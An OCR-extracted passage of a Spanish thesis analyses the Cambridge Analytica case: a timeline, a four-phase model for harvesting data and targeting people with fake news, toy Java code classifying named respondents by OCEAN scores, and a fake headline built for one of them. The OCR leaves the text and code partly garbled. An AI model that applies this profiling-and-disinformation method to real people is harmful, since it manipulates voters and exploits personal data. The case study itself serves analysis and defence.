Alexandr Kogan, tras licenciarse en la universidad de California, recibié fondos por parte de la Universidad
de San Petersburgo para la investigacién de la mineria de datos en redes sociales, tras ello, también fue

profesor en la universidad de Cambridge.

Kogan desarrolld la aplicacidon conocida como “This Is Your Digital Life” (“Esta es tu vida digital”), la cual
seria contratada por la empresa Cambridge Analytica con el fin de llevar a cabo el robo de datos. Tras
descubrir lo que se llevé a cabo asegurd que « no sabia que usarian los datos para dirigirse a los votantes »

(41l e intentd minimizar la eficacia de los datos que logré reunir.

El objetivo principal del arma era recopilar enormes cantidades de datos de usuarios y utilizarlos para
deducir sus perfiles y comportamientos de cara a las elecciones e influir a los votantes indecisos mediante

el uso de distintas técnicas como las fake news.

“This Is Your Digital Life” fue perfeccionada para dirigirse Unicamente a los votantes que se verian
involucrados en las elecciones y no a todo tipo de usuarios mediante el uso de herramientas de ingenieria

social.

Todos estos datos serian usados para desacreditar a personalidades politicas o difundiendo mentiras sobre
ellos. En cdmaras ocultas, el CEO de la empresa admite haber llevado a cabo toda la campaia de digital de
Donald Trump durante su candidatura, pero, no solo actud en estas elecciones sino que también realizé la
misma técnica en 2015 con las elecciones de Argentina de parte de la campaiia de Mauricio Macri o en

México de parte del Partido Revolucionario Institucional.
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4.3. TIMELINE

Como en el capitulo anterior, veremos los eventos mas importantes de este ciberataque en orden
cronolégico. %

En 2010 Facebook lanza Se funda una empresa Aleksandr Kogan funda Elecciones presidenciales
una herramienta privada basada en la una aplicacion basada en de EEUU en las cuales se
denominada "Open mineria y el andlisis de el andlisis de datos lleva a cabo la cosecha
Graph" datos masiva de datos

 epvion B oo racevoos I corvanion I corcion

Salen ala luz rumores de Facebook delata que una La empresa CA contrata al La empresa CA fuerza a
lo que ha podido suceder, aplicacién de terceros ha analista de datos Kogan los usuarios de Facebook
por quién ¥ con qué fin recabado datos de para hacer uso de los la insatalcidén de la
estaban orquestados millones de usuarios sin datos recabados por la aplicacién de Kogan
estos ataques ala SU permiso aplicacion
privacidad

Figura 22. Timeline Ataque Cambridge Analytica

Open Graph.

= 21 de Abril de 2010 La empresa Facebook lanza una plataforma denominada “Open Graph” la
cual permitia la comunicacidn de aplicaciones de terceros con los usuarios de la famosa red
social. Los usuarios deberan aceptar unos permisos mediante los cuales daran acceso a dichas

aplicaciones a gran parte de datos tanto de sus cuentas como de las cuentas de sus contactos.

Cambridge Analytica.

= 5 de Mayo de 2013 Nace la nueva Start-up Cambridge Analytica dedicada a la mineria y andlisis

de datos como hemos explicado en la introduccién anteriormente.
Aplicacidn “ThisisYourDigitalLife”.

= Mayo de 2013 Alexandr Kogan y su empresa desarrollaron la aplicacion "ThisIsYourDigitalLife",

que incluye la realizacion de pruebas para crear caracteristicas psicoldgicas mediante test.

= Mayo de 2013 se pone en marcha la aplicacidn. Se estima que alrededor de 300.000 usuarios
habrian sido beneficiados econdmicamente por haber realizado dicho test. La aplicacién ya
habria recabado tanto los datos de los participantes como el de los usuarios que estos tuviesen
agregados.
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= Junio de 2013 Facebook anuncié que ha descubierto una vulnerabilidad que permite a los
usuarios descargar informacion personal perteneciente a amigos sin pedir permiso. Zuckerberg

asegurd que hasta 6 millones de personas se podrian haber visto afectadas.

Contratacion

= Julio de 2013 Cambridge Analytica se enterd de la aplicacion creada recientemente por Kogan y
decidid contratarlo para utilizar la aplicacion "ThislsYourDigitalLife" en su entorno corporativo

porque sera un arma poderosa que le permitira alcanzar sus objetivos.

Coaccion

= Febrero de 2014 la empresa comenzd a obligar a los usuarios de Facebook a instalar dicha
aplicaciéon y realizé una serie de pruebas psicoldgicas para recopilar su informacion. La
aplicacion viold los términos de servicio de privacidad de Facebook y descargd la informacion

del perfil del usuario.

= Diciembre de 2015 la aplicacion "ThislsYourDigitalLife" se ha retirado de la plataforma de
Facebook, pero para entonces, ha recopilado informacidn de hasta 87 millones de perfiles de

usuario.

Elecciones

= Marzo de 2016 se comienza a preparar la campana politica del candidato Donald Trump. Su
equipo decide invertir fuertemente en publicidad en Facebook pero no solo eso sino que
también contrataria a la empresa Cambridge Analytica para el andlisis de datos y aprovechar
dichos datos para la divulgacién de “fake news” como el video “Defeat Crooked Hilary” en el
cual desprestigiaba a su rival y seria enfocada a aquellos usuarios que aun estaban indecisos en

su voto.
Denuncia de Facebook
= Enero de 2018 Facebook se ve obligado a denunciar que “actores maliciosos” han desarrollado

aplicaciones capaces de cosechar los datos de perfil publico de toda su base de datos y ponia en

jaque la privacidad de hasta 2.000 millones de usuarios.
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Exposicién

= 17 de Marzo de 2018 Después de la reciente filtracion de Facebook, comenzé a aparecer
informacién que alegaba diferentes empresas. Seglin The Guardian o The New York Times,
Cambridge Analytica ha recopilado 87 millones de perfiles de Facebook, pero se desconocia el

objetivo.

= 20 de Marzo de 2018 la Comisién Federal de Comercio abre una investigacion a la empresa

Facebook acusando de que habia violado un acuerdo de proteccion de la privacidad de datos.

= Junio de 2018 periodistas descubren acuerdos “secretos” entre los directores de campafia de

Donald Trump y ejecutivos de la empresa Cambridge Analytica.

= 10 de Abril de 2018 Zuckerberg testifica y rompe su silencio, «Tenemos la responsabilidad de
proteger sus datos, y si no podemos, entonces no merecemos servirle. He estado trabajando
para entender exactamente lo que sucedid y como asegurarme de que esto nunca vuelva a
suceder » P11, Como resultado, indica que su aplicacién ya no permitira a los desarrolladores de
aplicaciones acceder a los datos de sus usuarios después de tres meses de inactividad, y reducird

la cantidad de informacién que los usuarios deben proporcionar a terceros.

(51]



Antonio Villafranca Albaladejo

4.4. CONFECCION DEL ATAQUE

A partir de este punto, primero explicamos la cadena que siguen estos ataques de "guerra de informacion",
y luego presentaremos técnicamente las herramientas que usamos para llevar a cabo los ataques.
Los ataques que combinan analisis de datos y el uso de fake news se pueden dividir en cuatro puntos
basicos:

= |nvestigacion: consiste en indagar y robar los metadatos de los objetivos seleccionados.

=  Armamento: consiste en elegir la forma en la que se va a atacar a los objetivos.

= Ataque: consiste en armar al ejército de bots que se encargan de bombardear estratégicamente

contenidos engafiosos.
= |Infeccion: una vez difundidas las fake news la desinformacion se extiende por toda la red

erosionando la confianza de la sociedad en las instituciones y provocando el caos.

Sigamos viendo como los cuatro pilares mencionados anteriormente se aplican en ataques reales.

4.4.1. INVESTIGACION

Como hemos explicado, lo primero que tenemos que hacer es indagar y robar los datos de los objetivos a
los que se quiere atacar pero para poder hacerlo se tiene que pensar cudl va a ser la manera en la que se

obtengan esos datos.

Segun el ex empleado de Cambridge Analytica, Christopher Wylie, « Todo lo que necesitas saber es un poco
sobre ciencia de datos. Cuando construyes un algoritmo, primero necesitas crear un conjunto de

entrenamiento » 1“1,

El conjunto de entrenamiento hace referencia a los datos en su totalidad, es decir, todo lo que se puede
aprender de un usuario en la plataforma. Dentro de este conjunto existe otro subconjunto denominado
“subconjunto de caracteristicas” que segun Wylie, «son los datos sobre los que se desea hacer

predicciones» 41,
Por otro lado se necesita saber las “variables objetivo” es decir las cosas que se desean predecir de tal

manera que se pueda relacionar estas variables con el conjunto de entrenamiento para poder predecir de

manera certera la suposicidn que se desee sobre un usuario como por ejemplo orientacidn politica.

(52]



Diagnosis de Ciberataques: Estrategias y Técnicas de Seguridad para una mejor Proteccidn

4.4.2. ARMAMENTO

Cambridge Analytica recopila informacion a través de una encuesta que contiene 120 preguntas para
describir a las personas. Esta encuesta sigue un modelo de "cinco factores", que examina la apertura, la

conciencia, la extroversion, la amabilidad y el neuroticismo de los usuarios que aceptan aceptarla.

Para los usuarios, este proceso es muy rapido. Luego de ingresar a la plataforma de Facebook, deben
brindar acceso a la aplicacion desarrollada por Aleksandr Kogan antes de poder acceder a la encuesta. Una
vez completada, recibirdn un cddigo de pago en el que el monto estaria entre US S 2 y US S 4 puede
parecer simple, pero lo que el usuario no sabe es que la aplicacién recopilard la mayor cantidad de datos
posible sobre el usuario que acaba de otorgar permiso al mismo tiempo. Estos datos serian usados en el

conjunto de caracteristicas para predecir con precision las caracteristicas que realmente se quieren saber.

Ademads de recopilar estos datos, la aplicacion también proporcionara informacion de identificacién
personal, lo que permitird a los usuarios asociarse con personas fisicas (que son) similares al registro

electoral.

Finalmente, la aplicacidn realizara la misma operacidn en todos los contactos del usuario que la instalg,
recolectando asi informacidn sobre miles de personas a un costo que oscila entre los dos y los cuatro

délares.

Pero, écOmo se convertirian estos miles de perfiles de personalidad en millones?

Cada interaccion minima de cada usuario como puede ser un simple “me gusta” en una publicacién hacia
gue se generase una nueva columna en una matriz de posibilidades, « Todos esos datos se pusieron en un
modelo de conjunto. Esto es cuando usas diferentes familias o enfoques de aprendizaje automdtico, porque
cada uno de ellos tendrd sus propias fortalezas y debilidades... y luego votan, y luego amalgaman los
resultados y llegan a una conclusién » “Y continué explicando Wylie, el cual concluyo con la siguiente frase

« construimos 253 algoritmos, lo que significaba que habia 253 predicciones por registro perfilado » 144,

Como resultado de este algoritmo, para cada usuario se tendrian 253 predicciones para cada usuario,
predicciones que Cambridge Analytica aprovecharia para crear anuncios dirigidos a ciertas personas que
iban a querer interactuar con ellos de tal manera que se pudiese suprimir la intencién de voto de los

mismos.
Para finalizar esta primera etapa veamos un ejemplo real de modelo de conjunto aplicado a nuestro ciber

ataque. Nuestro modelo de conjunto estaba formado por hasta 253 algoritmos en el cudl cada uno

recolectaria una serie de datos para realizar una prediccion.
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Figura 23. Diversificacion de predicciones mediante ‘x’ algoritmos.
Una vez se hayan obtenido las predicciones de cada modelo se aplicara un algoritmo de aumento de
gradiente que permiten reforzar la prediccidn y mitigar posibles problemas de regresidon y clasificacién, en

concreto se usé el algoritmo Xgboost.
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Figura 24. Predicciones agregadas utilizando varios algoritmos.

Cada instancia de cada algoritmo se centraba en un subconjunto diferente, estos subconjuntos sirven para

mediante diferentes técnicas realizar una prediccidn final mediante la combinacién de predicciones de

diferentes modelos.
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Figura 25. Técnica de arranque para realizar predicciones finales
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En concreto, la técnica usada por el arma de Aleksandr seria “Extra-Trees Ensemble” la cual combina un

gran numero de arboles de decisién utilizando toda la muestra de datos mientras eligen las divisiones al

azar.
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4.4.2.1. EJEMPLO TEST Y ALGORITMO DE CLASIFICACION

En este apartado mostraré un ejemplo de cdmo se ha llevado a cabo la confeccién del arma, como sabemos
este proceso se divide en tres fases, recopilar la informacion a través de un test, clasificar a los usuarios y

atacar a las personas necesarias mediante el uso de fake news.

He creado un test basado en el modelo Ocean definido como el modelo de los 5 factores que permiten

enfrentar a las personas en de una forma de ser u otra, podemos ver los resultados que se pueden obtener:

EFICIENTE/

(ORGANIZADO,

RESPONSABILIDAD

IDESCUIDADO

CONSCIENTIOUSNESS RELAJADO

SOCIABLE/
EXTROVERTI
Do

SEGURO DE
si mismo

INESTABILIDAD

EMOCIONAL .
NEUROTICISM EXTRAVERSION ~ EXTRAVERSION

SENSIBLE / SOLITARIO/

NERVIOSO RESERVADO

AGREEABLENESS

AMABILIDAD/
AFABILIDAD

DESAFIANTE /
INDEPENDIENT!

\_}

Figura 26. Factores del Modelo Ocean !

AMISTOSO /
COMPASIVO
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La aplicacidn “ThisIsYourDigitalLife” consistia en un test de 120 preguntas, yo he realizado un test en el que
hay entorno a cuatro preguntas de cada area del modelo Ocean para simplificar el estudio, obviamente
cuantas mas preguntas me permitan obtener mas informacidn de un usuario mayor sera la precision del

algoritmo de clasificacion/prediccion.
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El test consistia en responder a una serie de preguntas con una votacién entre 1 (Nada) y 5 (Mucho) junto a
algunas preguntas de seleccion de respuesta para poder obtener los porcentajes de los usuarios que

participan. A continuacién veremos las preguntas a las que se han sometido a los usuarios segun el area.

e Apertura:
éTe consideras Liberal?
¢Te preocupa la defensa y el interés de lo artistico?

¢Te gustan las nuevas experiencias?

o O O O

¢Te consideras metédico?

e Consciencia:
o ¢Te consideras ordenado?
o ¢Te propones metas a largo plazo?
o ¢Te consideras compulsivo al trabajo o a logros excesivos?

o ¢Eres metddico?

e Extroversion:
o ¢Eres Sociable?
o Ante una situacién dificil en el trabajo tiendes a...

o Siun compaiiero necesita tu ayuda pese a que tu todavia no has terminado tu tarea...

o Aceptabilidad:
o Siun companiero se salta las normas en una empresa y tu puedes denunciarlo de forma
ANONIMA...
o ¢ Tiendes a procurar el bien de las personas que te rodean de manera desinteresada?
o ¢Te gusta trabajar en equipo?

o ¢Tienes una opinidn clara de ti mismo?

e Neuroticismo:
o ¢Ante una situacién dificil tiendes a sufrir ansiedad?
o ¢Sueles responder a ciertas situaciones con ira?

o ¢Te gusta hablar de tus problemas?

En la realizacidn del test han participado 30 usuarios reales a través de la herramienta de Formularios de
Google, una vez realizados los test se analizaran los resultados y se meteran en un algoritmo de

clasificacion.

Lo primero que hemos hecho es pasar los resultados de los formularios Google a un Excel que me permita
analizar los resultados de una manera mas cémoda, tras ello procedo a realizar el algoritmo de clasificacion.
El algoritmo que he realizado para poder clasificar a los usuarios ha sido una clase java entre las que

encontramos diferentes métodos los cuales se pasan objetos entre si para calcular las ponderaciones,
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destaca el método de clasificacion final que nos dictamina segun las votaciones de los usuarios su

porcentaje en cada una de las dreas del modelo OCEAN.

public static void RlgoritmoClasificacion (OCERN o) {

= o.getRespl()*5 + o.getResp2()*5 + o.getResp3()*5 + o.getRespd () *5;
.getResp3()*5 + o.getResp6()*5> + 0.getResp7()*5 + o.getRespl () *5;

.getResp9()*6.6 + o.getRespll()*6.6 + o.getRespll()*6.6;

.getRespl2 () *5 + o.getRespl3()*5 + o.getRespl4()*5 + o.getResplS5()*5;

.getResplé () *6.6 + o.getRespl7()*6.6 + o.getRespli () *6.6;

=m0 o
I

o]
Q
Q
Q

Figura 27. Método Puntuaciones Algoritmo Clasificacion

Como podemos observar simplemente he hecho una ponderacién con las respuestas disponible y he
aplicado una regla de tres para que me quede en tanto por ciento, esto no sera exacto porque tenemos
entre tres y cuatro respuestas, recordemos que en el test real habria hasta 24 preguntas de cada area lo

gue permitiria clasificar a los usuarios de forma mas exacta.

En nuestro main tendremos todos los usuarios que hemos metido para clasificar junto a un array de objetos
denominado usuario el cudl se recorrerd mediante array e ird llamando a los métodos de clasificacién e

imprimiendo en pantalla los resultados.

public static veoid main(String [] args){

OCERN PedroR = new OCERN("PedrcR ",3,3,4,4,5,4,4,4,4,2,1,1,5,4,4,2,3,3);

OCEAN JuanAntonio = new OCERN("JuanAntonio ",4,4,5,5,1,5,2,3,3,4,1,2,4,5,5,1,1,2);
OCERN Jaime = new OCERN("Jaime ",4,4,4,5,4,5,4,5,4,4,1,1,4,4,4,3,4,4);

OCERN Marisa = new OCEAN("Marisa ",4,2,4,4,5,5,4,4,4,4,3,2,4,3,4,4,3,3);

OCEAN Daniel = new OCEAN("Daniel ",4,5,5,3,3,2,1,3,5,4,3,2,5,5,3,2,2,1);

OCERN Salva = new OCERN("Salva ",4,3,5,4,3,5,4,2,5,4,1,2,5,4,3,5,3,5);

OCERN Edu = new OCERN("Edu ",4,2,4,1,1,5,5,3,5,4,1,2,5,4,4,3,2,4);

OCEEN [] users = {PedroR, Juanintonio,Jaime,Marisa,Andrea,Antonio,Amelia,
Marta, Jose,Borja,Ana,Manuel,Clara, Sergio,MarisaP, AndreaC, Jorge
Bruno,Rodrigo,MartaR,Angel,Elena,McPhilips, Periko,Roberto,
MiguelAngel,Rlvaro,Daniel, Salva, Edu};

for (int i=0; i< users.length; i++){
AlgoritmoClasificacion(users([il);
users[i].toString()
System.out.println(users[i]);

Figura 28. Método Main Algoritmo Clasificacion

Una vez se ejecute tendremos los resultados de todos los usuarios que mostraremos a continuacion.

El usuario Manuel ha sido clasificado de la siguiente manera:
Apertura: 70.0%

Consciencia: 65.0%

Extroversidn: 59.4%

Lceptabilidad: 70.0%

Neuroticismo: 72.6%

El usuario Clara ha sido clasificado de la siguiente manera:
Apertura: 75.0%

Consciencia: 65.0%

Extroversién: 52.8%

Lceptabilidad: 60.0%

Neuroticismo: 52.8%

El usuario Sergio ha sido clasificado de la siguiente manera:
Apertura: 70.0%

Consciencia: 65.0%

Extroversién: 46.199995959595956%

Rceptabilidad: 60.0%

Neuroticismo: 39.599999999595994%

Figura 29. Ejemplo Resultados en Consola Algoritmo de Clasificacién

(57]



Antonio Villafranca Albaladejo

El siguiente paso del algoritmo serd computar estos resultados de todos los usuarios y determinar qué

usuarios, segun sus respuestas, pueden ser clasificados como personas susceptibles a las que se les pueda

atacar en la siguiente fase.

En este nuevo método he creado un contador que en funcién del rango de porcentaje obtenido en cada

una de las dreas del modelo OCEAN iba decrementando o incrementando de tal manera que finalmente

ponderase que usuarios podian ser clasificados como susceptibles.

Finalmente todos estos usuarios son metidos en un arrayList<>() el cual sera impreso en otro método

dando como resultado todos los usuarios.

public static void NextStep(double O,double C,double E, double L, double N){
contador = 0;

if(o
else
else

if(c
else
else

if (B
else
else

if(n
else
else

if(N
else
else

< 33) contador--;
if (0 < €6) contador
contadort+;

< 33) contador--;
if(C < ©6) contador
contadort+;

< 33) contador--;
if(E < 66) contador
contadort+;

< 33) contador--:
if (R < 66) contador
contadort+;

< 33) contadort+;
if (N < 66) contador
contador-—;

contador + 0.5;

contador + 0.5;

contador + 0.5;

contador + 0.5;

contador + 0.5;

Figura 30. Método que Clasifica a los Usuarios Segun las Puntuaciones OCEAN

Obtenemos como resultado el siguiente ArrayList con las personas que en principio son potencialmente

susceptibles y pasaran a la tercera y ultima fase del algoritmo.

A continuacidn imprimiremos la lista de usuarios susceptibles

[ Jaime , Marisa , Antonio , Amelia , Marta , Manuel , Jorge , Bruno , MartaR ]

Figura 31. Usuarios Susceptibles Elegidos por el Algoritmo

Estos usuarios son los que han sido determinados aquellos que son influenciables, recordemos que a todos

los usuarios le hemos robado la informacién de facebook (en posteriores apartados veremos toda la

informacién que almacena la aplicacién) por lo que el siguiente paso sera estudiar minuciosamente la

informacion de estos usuarios.
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Como yo en la practica no he podido robar esta informacién como por ejemplo el clickbait en el mismo test
he sometido a los usuarios a diferentes preguntas en las cuales tenian que imaginar que se le presentaban

dos tipos de noticias y debian de elegir sobre cudl de ellas interactuaria.

Para seguir con el ejemplo nos centraremos por ejemplo en el usuario Jaime y veremos que noticias ha

elegido entre las disponibles.

Escandalo Hilary Clinton
(@ Escandalo Donald Trump
Nuevas técnicas para la defensa del medioambiente

@ Instalacion de nuevas petroleras en la costa este de EEUU

Subvencion del gobierno destinada a servicios publicos como sanidad

El gobierno da prioridad a los servicios privados

Nuevo ataque de inmigrantes en la frontera de EEUU

®©®

Acogida de inmigrantes provenientes de América del sur en situacidn de vulnerabilidad en centros para su
cuidado y recuperacion

Figura 32. “Clickbait” del Usuario Jaime

Gracias a esta pequeia informacién extraida del usuario Jaime podriamos podemos estudiarlo como un
perfil que cree que las empresas privadas pueden proporcionar servicios de mayor calidad que los servicios
publicos, que no estd demasiado a favor del candidato Republicano pero que si comparte las ideas
respectivas a su partido como por ejemplo la defensa ante el crecimiento de poblacién inmigrante.

Es hora de crear una noticia personalizada para Jaime atendiendo a estos criterios.

Hillary Clinton defiende Sanidad gratis a todos
los ilegales pese a los altercados ocurridos v

Figura 33. Fake New Creada para el Usuario Jaime.

En los siguientes apartados veremos cdmo se estudian a estos usuarios para poder sacar hasta el mas

minimo detalle con el que influir al usuario al que se pretende atacar y como se difunden estas Fake News.
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4.4.3. ATAQUE

Una vez recopilados todos los datos posibles del usuario, como la informacién personal de cada personay
la informacion personal de sus "amigos", procederemos a mirar las debilidades de cada persona para

realizar el ataque.

Todos los datos antes mencionados recopilados por la aplicacién de Kogan se vendieron a Cambridge
Analytica y la empresa tuvo que dar el siguiente paso. En unos tres meses, la empresa contara con los datos
personales de aproximadamente 60 millones de usuarios, resultando en modelos y algoritmos para cultivar

campafas electorales especificas.

La empresa fue contratada para desarrollar una herramienta que, mediante el uso de "manipulacion
psicoldgica", pudiera utilizar noticias falsas para cambiar las opiniones de las personas e influir en ellas a

través de "fake news".

De nuevo entra en juego el algoritmo creado por Wylie para la empresa Cambridge Analytica, una vez

tenian estos datos, ¢ COmo seria posible influir en el perfil de cada votante?

« Gracias a esos perfiles sabriamos a qué tipo de mensaje serias susceptible, incluyendo la forma en la que
entregdrtelo, los temas, el contenido, el tono, si el mensaje necesitaba ser aterrador o no, ese tipo de cosas.
Sabriamos a qué serias susceptible, donde ibas a consumir ese contenido, cudntas veces necesitdbamos

pasarte ese mensaje para cambiar la forma en la que piensas sobre algo. » “? Explicé Wylie.

El ataque que llevd a cabo la empresa lo podemos resumir en dos simples fases:

e Creacidn de fake news por parte de equipos de profesionales como psicélogos, disefiadores o
analistas de datos. Una vez recogidos los datos se crean noticias tipo para influir a los usuarios y
saber a qué usuario va dirigido cada tipo de noticia, « Si estds hablando con una persona
concienzuda, hablas de la oportunidad de tener éxito y de la responsabilidad que te da un trabajo. Si
es una persona abierta, hablas de la oportunidad de crecer como persona. Habla con una persona

neurdtica y haces hincapié en la sequridad que le da a mi familia » “? relata Wylie.

e Unavez creadas las fake news y saber a qué usuario o grupos de usuarios dirigirlas se procede a
crear un “ejército” de bots que se encarguen de bombardear dichas noticias en redes sociales pero
con sabiendas de en qué temas relacionados aparecer para que el usuario o grupo de usuarios a los
que va dirigidos decidan interactuar con ellas, se crearon sitios web, blogs o lo que hiciese falta
para que ese perfil objetivo fuese mas receptivo para que dicho usuario se focalizase tanto que

acabara pensando algo distinto a lo que pensaba.
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4.4.4. INFECCION

El ataque ya estaba en marcha, ahora solo quedaria que estos bots sociales, como se definen, comenzasen
a funcionar y divulgar informacidn falsa. En este punto vamos a ver como se lleva a cabo el proceso de

infeccion de fake news en redes sociales.

Figura 34. Interaccién de bots sociales en la difusién de una noticia **

Lo que vemos en la imagen son nodos, su tamafio nos indica la influencia que tiene la cuenta sobre el resto
de los usuarios. Los colores también nos dan informacidn de los usuarios, en color azul se pueden definir
los perfiles que han interactuado con la noticia y son “reales”, en amarillo los que no se pueden evaluary
en tonos rojos y morados los usuarios que realmente son bots, por lo que podemos ver claramente que los

usuarios mas influyentes realmente son bots.
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Las técnicas que usan los bots para la divulgacidn de noticias falsas, normalmente son las siguientes:

e Un bot crea una noticia falsa habitualmente mencionando a personas populares para tratar de
crear apariencia de que la noticia es real.

e Elresto de bots comparten los enlaces de las noticias creadas por los bots iniciales a los segundos
de su publicacion, el motivo de esta rapidez es que para cuando la red social haya podido detectar

gue es una fake new, miles de usuarios reales hayan podido interactuar con ella.

Figura 35. Interaccién entre usuarios de en una publicacién P4,

En la imagen podemos ver las posibles interacciones entre los usuarios de la publicacién. El nodo
nuevamente representa una cuenta en funcion del nimero de seguidores, el enlace rojo representa la
mencién creada entre estas noticias y los datos personales, es decir, la divulgacidn de la publicacidn, y el

enlace azul representa la respuesta creada a partir de esa mencion.

Centrémonos en un ejemplo. Un bot crea una fake new acerca de la cadena CNN, esta noticia menciona al
perfil real de CNN para dar mas credibilidad al resto de usuarios de que la noticia es real. El resto de los
usuarios comienzan a interactuar entre si compartiendo la noticia, mencionando a amigos para que puedan
leerla y a su vez estos perfiles pueden responder a esa mencién o no, en cambio vemos que el perfil de CNN

no genera respuesta alguna por lo que podemos predecir que esta noticia es falsa.
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4.5. IMPACTO DEL ATAQUE

En este punto vamos a ver como realmente funciona este tipo de ataque. La fase principal es la realizacién
de un test basado en el modelo Ocean como hemos mencionado anteriormente el cual permite crear

modelos de la personalidad de los votantes.

O.C.E.A.N. Personality
Openness:

Conscientiousness:

Figura 36. Ejemplo Resultado Test Modelo Ocean. ¢

Una vez tenian los resultados del test Cambridge Analytica pondria en su punto de mira a las personas

persuasibles de tal manera que pudiesen influenciar en ellas.

Figura 37. Clasificacién de Votantes EEUU ©®
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Como podemos ver en el mapa tenemos votantes sugestionables en todos los estados practicamente pero

Cambridge Analytica se centrd en los estados en los que la intencién de voto siempre estaba por decidir
como por ejemplo Michigan.

Figura 38. Principales Estados con Intencidn de Voto Variable

Analicemos en concreto uno de estos estados, por ejemplo Michigan para ver cdmo funciona realmente el
arma. Cada uno de estos estados se divide en circunscripciones electorales que determinan los escafios

obtenidos en funcidn del nimero de poblacién en cada uno de ellos.

Figura 39. Division del Estado de Michigan en Circunscripciones °°!

Como vemos cada una de estas circunscripciones tiene votantes de los tres grupos antes mencionados, la
intencién es centrarse en los persuasibles para que la intencién de voto aumente en favor para el partido
republicano (en este caso) de tal manera que estos estados decisivos dictaminasen las elecciones

electorales a favor de Donald Trump.
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Esto como hemos explicado anteriormente se haria mediante la difusién de fake news, si el test te definia

como una persona la cual no tenia la intencidn de voto clara se analizaban todos los datos de facebook
robados como por ejemplo el clickbait.

ARIZONA REPUBLIC
Why did ICE release suspect in QT killing?
February 2, 2015

o

™ o i’
Py 0 TN T A
_1; §  released from federal custody on bond

e

OUR BORDER
PROTECTS US
FROM PEOPLE
WHO WANTTO
HURT US

\

Figura 40. Ejemplo de Anuncios Enviados a Personas Persuasibles °°

Las personas que fueron atacadas mediante el uso de fake news propiciaron que éstas celdas
circunscripcionales pasasen de no tener una clara intencion de voto a tenerla de tal manera que actue

como un “contagio”, veamos una propagacion del mismo de nuevo en el estado de Michigan.

Figura 41. Cambio de Intencién de Voto en un Estado ¢
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De tal manera que las personas influenciables que hemos visto anteriormente seleccionadas por el

algoritmo e influenciadas por las fake news cambiarian su intencién de voto.

DEFEAT CR- - KED HILLARY

Figura 42. Conversién de Votantes Indecisos a Votantes del Partido Republicano ©°°

Cambridge Analytica logré obtener una gran cantidad de datos de usuarios reales sin su consentimiento. La
campafia politica de Donald Trump pagé a la empresa millones de ddlares durante el proceso electoral.
Una vez obtenidos todos los datos, Wylie explicé que tan solo quedaria cruzar los datos del test que se
rellend con la informacion que Facebook registra de cada perfil de usuario para comenzar a difundir

publicidad personalizada asi como la creacién de fake news. [4¢!

Gracias a las herramientas de microtargeting, es posible dar forma a la mayoria de las personas que
aparecen en la base de datos de registro de votantes, lo que permite ejecutar con precisién campaiias de

supresion de votantes en los colegios electorales a través de los "mensajes oscuros" de Facebook.

The Second Amendment isn't just From father to son

Since the birth of our nation
DEFEND THE RIGHT TO BEAR ARMS DEFEND THE SECOND AMENDMENT

aright. It's an insurance policy.

Source: Cambridge Analytica

Figura 43. Ejemplo anuncio Cambridge Analytica ¢
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En este ejemplo veremos un anuncio enfocado hacia la segunda enmienda de EEUU que permite el derecho
de tener y portar armas a las personas residentes en el pais. El anuncio de la izquierda muestra un ladrén
gue accede a una propiedad privada, esto es mas acogido por las personas que se preocupan demasiado,
son meticulosas y ordenadas, en el anuncio de la derecha vemos que esta dirigido hacia las personas mas

cerradas y tradicionales.

La empresa se centrd en cambiar la forma de cultura en vez de cambiar la politica. Como hemos explicado
anteriormente, la herramienta se perfecciond tanto que logro establecer la desconfianza en las
instituciones a través de las redes sociales consiguiendo que la gente cambie su decisién.

La empresa logré su objetivo de hacer que ganase el partido Republicano modificando la intencién de voto

de los usuarios como hemos visto hasta ahora.

Figura 44. Resultados Electorales Elecciones Presidenciales EEUU 2016 ¢!

Como hemos dicho anteriormente la informacion recogida por el test psicotécnico se unié a la informacidn
gue almacenaba sobre sus usuarios la aplicacion “Facebook” pero dediqguémosle un momento porque

investigando el caso ocurrido resultd de gran interés ver la informacidon que almacena de los usuarios.
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4.5.1. {QUE SABE FACEBOOK SOBRE TI?

Para obtener todos los datos que Facebook tiene sobre ti, lo primero que debes hacer es descargar una
copia de respaldo de la misma red social, esto generara un archivo .rar donde podremos encontrar todos
los mensajes, fotos, videos, login informaciodn, etc.

Hay un archivo llamado "index.htm/" en esta carpeta comprimida, tenemos que abrirlo en el navegador

para ver toda la informacién de forma ordenada.

4.5.1.1. INFORMACION PERSONAL

En la primera pagina podemos encontrar todos los datos personales desde correos electrénicos utilizados,
numeros de teléfonos, una lista de gente con las que he interactuado o las publicaciones a las que he dado

me gusta.

Informacidn del perfil

Figura 45. Informacion personal Facebook

A continuacién si cambiamos de pagina podemos ver que aparece toda la agenda de contactos de mi
teléfono con todos los datos que haya guardado de mis contactos como nombres, apellidos, correos

electrénicos y numeros de teléfono.

Tus libretas de direcciones

Ver en Facebook

Y

SR

Jesus -
a0 R

Figura 46. Libreta de direcciones Facebook

Realmente me fasciné porque la libreta de direcciones de la que vemos anteriormente contenia contactos

de personas con las que habia interactuado hace mas de 8 afos.
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Lo siguiente que podemos encontrar que Facebook ha guardado de mi son todas las publicaciones que he
compartido desde el inicio de Facebook. A partir de aqui podemos encontrar una gran lista de actividad en

Facebook donde podemos ver las pdginas que hemos visitado, encuestas que hemos realizado...

@ Publicaciones

Publicaciones gue has compartido en Facebook, publicaciones que has ocultado de
tu biografia y encuestas que has creado

Tus fotos
Tus videos

Tus publicaciones

Paginas
Tus paginas, paginas que te han gustado o has recomendado, paginas que sigues y
paginas gue has dejado de seguir

Paginas que has indicado que te gustan
Pages You Follow

Pages You've Unfollowed

Encuestas
Encuestas que has creado y en [as que has participado

Encuestas en la que has votado

Eventos

Tus respuestas a eventos y una lista de los eventos que has creado

Tus respuestas a eventos

Invitaciones a eventos

@ Facebook Gaming
Tu perfil de Facebook Gaming y juegos instantaneos a los que has jugado

Juegos instantaneos

Tus lugares
Lista de los lugares que has creado

Lugares que has creado

Figura 47. Resto Opciones Disponibles Para Acceder
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4.5.1.2. HISTORIAL DE UBICACIONES

A continuacién la siguiente informacién que podemos comprobar es el historial de ubicaciones exactas

desde las que se ha iniciado sesién en la aplicacién con sus coordenadas, IP utilizada.

Antonio - ha estado en -
(37.60845, -0.9838)
15 ene. 2017 21:45

(37.60166, -0.97871)

5 ana

Figura 48. Historial de Ubicacién de Inicio de Sesién Facebook

Ubicacidn del dispositivo

o spn: Xtra Telecom
o country_code: 214

Figura 49. Proveedor de Servicios y Cddigo de Pais Asociado con mi Dispositivo

O Actividad en direcciones IP

46, 2 ppStE—

Login

S 172

Login

Figura 50. Actividad en Direcciones IP
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4.5.1.3. INTERESES DE ANUNCIOS

